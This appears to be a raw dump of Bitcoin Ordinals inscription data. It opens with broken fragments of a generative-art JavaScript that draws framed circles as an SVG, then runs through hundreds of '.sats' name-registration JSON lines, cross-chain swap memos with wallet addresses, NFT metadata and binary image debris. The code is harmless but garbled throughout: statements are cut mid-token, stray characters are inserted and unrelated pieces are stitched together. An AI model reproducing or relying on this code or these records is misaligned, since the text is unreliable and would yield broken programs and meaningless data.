 (i = (i + (n = ((n >>>= 0) + 1) | 0)) | 0)) |
                            0),
                    (i >>> 0) / 4294967296
        let mathRand = sfc32(...cyrb128(seed));
            margin: 0;
    const random = (a = 1) => a * mathRand(),
        randomBetween = (a, n) => a + random(n - a),
        dist = (a, n, r, t) => {
            var d = a - r,
                e = n - t;
    return Math.sqrt(d * d + e * e);
    const rand = mathRand(),
                paper: "White",
                frame: "Red",
                moons: "Blue",
                bg: "rgb(230, 230, 230);",
                fr: "rgba(255,99,71,50)",
                cr: "blue",
                op: "0.8",
                paper: "White",
                frame: "Blue",
                moons: "Red",
                bg: "rgb(230, 230, 2M
                fr: "blue",
                cr: "rgba(255,99,71,50)",
                op: "0.8",
                paper: "Light green",
                frame: "Green",
                moons: "Purple",
                bg: "lightgreen;",
                fr: "green",
                cr: "purple",
                op: "0.8",
                paper: "Charcoal",
                frame: "Gold",
                moons: "White",
                bg: "rgb(30, 30, 30)M
                fr: "gold",
                cr: "white",
                op: "1",
                paper: "Charcoal",
                frame: "White",
                moons: "Gold",
                bg: "rgb(30, 30, 30);",
                fr: "white",
                cr: "gold",
                op: "1",
                paper: "Charcoal",
                frame: "Silver",
                moons: "Gold",
                bg: "rgb(30, 30, 30);",
                cr: "gold",
                op: "1",
                paper: "Charcoal",
                frame: "Blue",
                moons: "Silver",
                bg: "rgb(30, 30, 30);",
                fr: "dodgerblue",
                cr: "silver",
                op: "1",
                paper: "Charcoal",
                frame: "Silver",
                moons: "Blue",
                bg: "rgb(30, 30, 30);",
                fr: "silver",M
                cr: "dodgerblue",
                op: "1",
                paper: "Bitcoin Orange",
                frame: "Black",
                moons: "White",
                bg: "orange",
                fr: "black",
                cr: "white",
                op: "1",
    function getTraits() {
            rotateS:
                5 * Math.floor(randomBetween(1, 9)) * (mathRand() > 0.5 ? -1 : 1),
            colId: Math.floor(random(CM
olors.length - 1e-7)),
            rx: mathRand() > 0.5 ? Math.floor(random(20)) : 0,
            bStart: Math.floor(randomBetween(3, 15)) / 100,
            moonDensity: 5 * [1, 2, 5, 10][Math.floor(random(4))],
            isDual: mathRand() > 0.8,
            frameDensity: 10 * Math.floor(randomBetween(2, 6)),
        rotateS: rotateS,
        colId: colId,
        bStart: bStart,
        moonDensity: moonDensity,
        isDual: isDual,
        frameDensity: frameDeM
    } = getTraits();
    (window.$generativeTraits = {
        Paper: Colors[colId].paper,
        Frame: Colors[colId].frame,
        "Frame size": bStart,
        "Frame rotation": rotateS,
        "Frame rounding": rx,
        "Frame density": frameDensity,
        Moons: Colors[colId].moons,
        "Moon Density": moonDensity,
        "Dual pattern": isDual,
        console.table(window.$generativeTraits);
        constructor(e, t, r, o = "white") {
            (this.x = t), M
(this.y = r), (this.r = e), (this.c = o);
        show(e, t, r, o) {
            o.setAttribute("id", `c${t}`), o.setAttribute("stroke", this.c);
            let a = this.r,
                n = random(2 * Math.PI),
                s = this.x,
                i = this.y,
                l = a * Math.cos(n) + s,
                d = a * Math.sin(n) + i,
                c = `M ${l} ${d} `;
            for (let e = 0; e < 3 * a; e++)
                (n = random(2 * Math.PI)),
                    (l = a * MathM
                    (d = a * Math.sin(n) + i),
                    (c += `L ${l} ${d} `);
            let m = document.createElementNS(e, "path");
            m.setAttribute("style", "fill:none;stroke-width:1;"),
                m.setAttribute("d", c),
                o.appendChild(m);
    let createCircles = function (e, t, r = 0.05, o = "white") {
            let a = new Array(),
                n = Math.min(e, t),
                s = 0;
            for (; a.length < moonDensity && M
                let i = randomBetween(n / (2 * moonDensity), n / 4),
                    l = randomBetween(i + e * r, e * (1 - 2 * r) - i),
                    d = randomBetween(i + e * r, t - e * r * 2 - i);
                l - i <= 0 ||
                d - i <= 0 ||
                l + i > e ||
                d + i > t ||
                a.some((e) => 0.8 * dist(l, d, e.x, e.y) < i + e.r)
                    ? s++
                    : (a.push(new Circle(i, l, d, o)), (s = 0));
        yin = 11.67,
        w = xin * dpi,
        h = yin * dpi,
        ns = "http://www.w3.org/2000/svg",
        svg = document.createElementNS(ns, "svg");
    svg.setAttribute("id", "svg"),
        svg.setAttribute("width", "100vw"),
        svg.setAttribute("height", "100vh"),
        svg.setAttribute("viewBox", "0 0 " + w + " " + h),
        svg.setAttribute("style", "background-color:" + Colors[colId].bg + ";");
    let bounds = document.creatM
eElementNS(ns, "path");
    bounds.setAttribute("d", `M 0 0 M ${w} ${h}`), svg.appendChild(bounds);
    let bg = document.createElementNS(ns, "g");
    bg.setAttribute("id", "frame"),
        bg.setAttribute("stroke", Colors[colId].fr),
        bg.setAttribute("stroke-opacity", Colors[colId].op),
        bg.setAttribute("fill", "transparent");
        let e = bStart;
        e < 0.49 && w * (1 - 2 * e) >= 0 && h - 2 * w * e >= 0;
        e += e / frameDensity
        let t = document.createElementM
        t.setAttribute("rx", rx),
            t.setAttribute("x", w * e),
            t.setAttribute("y", w * e),
            t.setAttribute("width", w * (1 - 2 * e)),
            t.setAttribute("height", h - 2 * w * e),
            t.setAttribute("transform", "rotate(" + (bStart - e) * rotateS + ")"),
            bg.appendChild(t);
    if ((svg.appendChild(bg), isDual)) {
        let e = document.createElementNS(ns, "use");
        e.setAttribute("href", "#frame"),
            e.setAttribute(M
"transform", "translate(" + w + ",0) scale(-1,1)"),
            svg.appendChild(e);
    let circles = createCircles(w, h, 0.05, Colors[colId].cr),
        circ = document.createElementNS(ns, "g");
    function downloadSVGAsText() {
        const e = document.querySelector("svg"),
            t = btoa(unescape(encodeURIComponent(e.outerHTML))),
            r = document.createElement("a"),
            o = new MouseEvent("click");
        (r.download = "download.svg"),
            (r.href = "data:image/svg+xml;M
            r.dispatchEvent(o);
    circ.setAttribute("stroke-opacity", Colors[colId].op),
        circles.forEach((e, t) => {
            e.show(ns, t, svg, circ);
        svg.appendChild(circ),
        document.body.appendChild(svg);
    const downloadSVG = document.querySelector("#svg");
    downloadSVG.addEventListener("click", downloadSVGAsText);
text/plain;charset=utf-8
,{"p":"sns","op":"reg","name":"hodlong.sats"}h!
text/plain;charset=utf-8
  "name": "italian.sats"
text/plain;charset=utf-8
  "name": "hindi.sats"
text/plain;charset=utf-8
  "name": "indonesian.sats"
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
  "name": "arabic.sats"
text/plain;charset=utf-8
  "name": "spanish.sats"
text/plain;charset=utf-8
  "name": "russian.sats"
text/plain;charset=utf-8
  "name": "bengali.sats"
text/plain;charset=utf-8
text/plain;charset=utf-8
  "name": "portuguese.sats"
Bj@=:BNB.BNB:bnb1ej0grj75e06jx0652mudnz6u2zu4ej9xltuppj:77912313::0
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"90001.sats"}h!
  "name": "m3rl1n.og",
  "owner": "bc1pyj3rhyzq9jeuljxm684fz068n2sqhk0x20avzcmd6x93u343ys5qwjrc3g",
  "text":"founder of ordinalboard.com & member <10K sub"
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"erica.sats"}h!
{"attributes":[{"trait_type":"Background","value":"Orange"},{"trait_type":"Fur","value":"White"},{"trait_type":"Mouth","value":"Bored Unshaven Cigar"},{"trait_type":"Hat","value":"Irish Boho"},{"trait_type":"Clothes","value":"Bitcoin T Black"},{"trait_type":"Eyes","value":"Bored"}],"external_url":"https://baycbitcoin.com/index/bayc/8019","image":"ipfs://QmWwSKeAhhs1CNNDDkMaYgdWvZjrCUyfczc51JXp81i3H1/8019.png"}
 .)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP`JQRO
&O5-5OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
text/plain;charset=utf-8
  "name": "90002.sats"
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"meji.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"7864.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"7865.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"7869.sats"}h!
FjDOUT:0C06DF152978B21D8E4A23D0C78B079F8B402D2FF4C3E03B90B84C97E7993368
text/plain;charset=utf-8
  "name": "optimus.sats"
text/plain;charset=utf-8
  "name": "soki.sats"
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"11045.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"11050.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"11047.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"11049.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"11048.sats"}h!
text/plain;charset=utf-8
&dB&dB&dB&dB&dB&dB&dB&dB&
Bj@=:BNB.BNB:bnb13pfcsj7ta8j2r3k4xr37cdz0zvm3qajqjaruzr:48752739::0
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"11024.sats"}h!
text/plain;charset=utf-8
  "name": ":)).sats"
text/plain;charset=utf-8
  "name": ":)).sats"
text/plain;charset=utf-8
  "name": "@420.sats"
text/plain;charset=utf-8
  "name": "@333.sats"
text/plain;charset=utf-8
  "name": "muri.sats"
text/plain;charset=utf-8
  "name": "@oo.sats"
text/plain;charset=utf-8
  "name": "earn.sats"
text/plain;charset=utf-8
text/plain;charset=utf-8
  "name": "@go.sats"
text/plain;charset=utf-8
  "name": "00:00.sats"
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"11025.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"11039.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"11021.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"11041.sats"}h!
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"rarefy.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"11015.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"11033.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"11006.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"11027.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"11031.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"11008.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"11038.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"11040.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"11028.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"11016.sats"}h!
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"11020.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"11037.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"9010.sats"}h!
text/plain;charset=utf-8
FjDOUT:75538785D269DD424AE098B8ED6EE0F445BE6B89A5E14A724B2038530A5DBBA9
Bj@=:ETH.ETH:0x7f74afd1d4b4ab01D572454AeebB3eD5e48F39F2:27059794::0
text/plain;charset=utf-8
  "name": "2,099,999,997,690,000.sats"
text/plain;charset=utf-8
  "name": "0398.sats"
CjA=:BNB.BNB:bnb1nul5pazjsuudl8l8x7edq9ydgyahrvaktnfs5u:469604148::0
CjA=:ETH.ETH:0x70fD822B9795485cF3846736Fb55E29BBA274CF6:310478764::0
d/Foundry USA Pool #dropgold/
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"9618.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"9658.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"9684.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"9681.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"9680.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"9685.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"9682.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"9687.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"9678.sats"}h!
text/plain;charset=utf-8
  "name": "fubar.sats"
text/plain;charset=utf-8
text/plain;charset=utf-8
,{"p":"sns","op":"reg","name":"1997123.sats"}h!
text/plain;charset=utf-8
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"hdy.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"one.sats"}h!
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"aaw.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"adh.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"acx.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"adq.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"afr.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"acr.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"agw.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"agl.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"afw.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"aee.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"agn.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"amu.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"apa.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"aes.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"adr.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"aor.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"ags.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"acq.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"aoz.sats"}h!
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"Ticket.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"txl.sats"}h!
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"coinbase.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"00X.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"11152.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4198.sats"}h!
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"00380.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"Dub.sats"}h!
text/plain;charset=utf-8
1{"p":"sns","op":"reg","name":"
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"yhd.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"5ire.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"5862.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4176.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"f12.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"5609.sats"}h!
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"
text/plain;charset=utf-8
,{"p":"sns","op":"reg","name":"youtube.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"1688.sats"}h!
text/plain;charset=utf-8
/{"p":"sns","op":"reg","name":"chainspace.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"5612.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"14888.sats"}h!
text/plain;charset=utf-8
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"0866.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4082.sats"}h!
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"alphadog.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"50001.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"stark.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"10054.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"UAE.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"5806.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"5932.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"5690.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"12666.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4312.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"5810.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"Way.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"5638.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"11034.sats"}h!
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"Adayhg.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"5972.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"11478.sats"}h!
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"coinlist.sats"}h!
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"punks1.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"okex.sats"}h!
text/plain;charset=utf-8
1{"p":"sns","op":"reg","name":"
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"az01.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4126.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"10094.sats"}h!
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"chilli.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4196.sats"}h!
text/plain;charset=utf-8
text/plain;charset=utf-8
/{"p":"sns","op":"reg","name":"cancanneed.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"13888.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"5608.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"14666.sats"}h!
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"trending.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4120.sats"}h!
text/plain;charset=utf-8
1{"p":"sns","op":"reg","name":"
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"5680.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"5836.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"free.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4258.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"11123.sats"}h!
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"10444.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4078.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4086.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4172.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"5687.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"sbcz.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4260.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4098.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"Add.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"Labs.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"11559.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4076.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4106.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"0066.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"fis.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"5870.sats"}h!
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"biconomy.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"KING.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"Tim.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4072.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"006.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4158.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"5820.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4320.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4180.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"5620.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"10432.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4190.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"04233.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"01270.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"5926.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"5827.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"5908.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"push.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"60001.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"138.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"12010.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"kkb.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"Club.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"5689.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"12233.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"zoras.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"mood.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"psy.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"10079.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"5897.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"x00.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"5807.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4192.sats"}h!
text/plain;charset=utf-8
.{"p":"sns","op":"reg","name":"superrare.sats"}h!
text/plain;charset=utf-8
,{"p":"sns","op":"reg","name":"marryme.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"5910.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4238.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4326.sats"}h!
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"argent.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"13666.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"10082.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4308.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"BTCFI.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"12123.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"5896.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"xjj.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"5980.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"tesla.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"5906.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"33977.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"blur.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"12223.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"10996.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4250.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"5912.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"xcopy.sats"}h!
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"btcbtc.sats"}h!
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"5927.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"5872.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"18666.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"10492.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"66440.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"40001.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"90001.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4230.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"80001.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"core.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"Jin.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"10077.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"gzmt.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"5907.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4092.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4310.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"Bored.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"5930.sats"}h!
text/plain;charset=utf-8
  "name": "emperor.sats"
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"san.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"5670.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"70001.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"5982.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4278.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"btc1.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"5867.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"11996.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"5816.sats"}h!
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"tsui.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"5876.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"12996.sats"}h!
text/plain;charset=utf-8
'{"p":"sns","op":"reg","name":"id.sats"}h!
text/plain;charset=utf-8
&{"p":"sns","op":"reg","name":"S.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"rrs.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"mmd.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"10068.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4102.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"00x.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"5869.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"xgg.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"5978.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"5976.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4138.sats"}h!
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"metamask.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"mpi.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4208.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"5603.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"5610.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"5936.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"10258.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"5628.sats"}h!
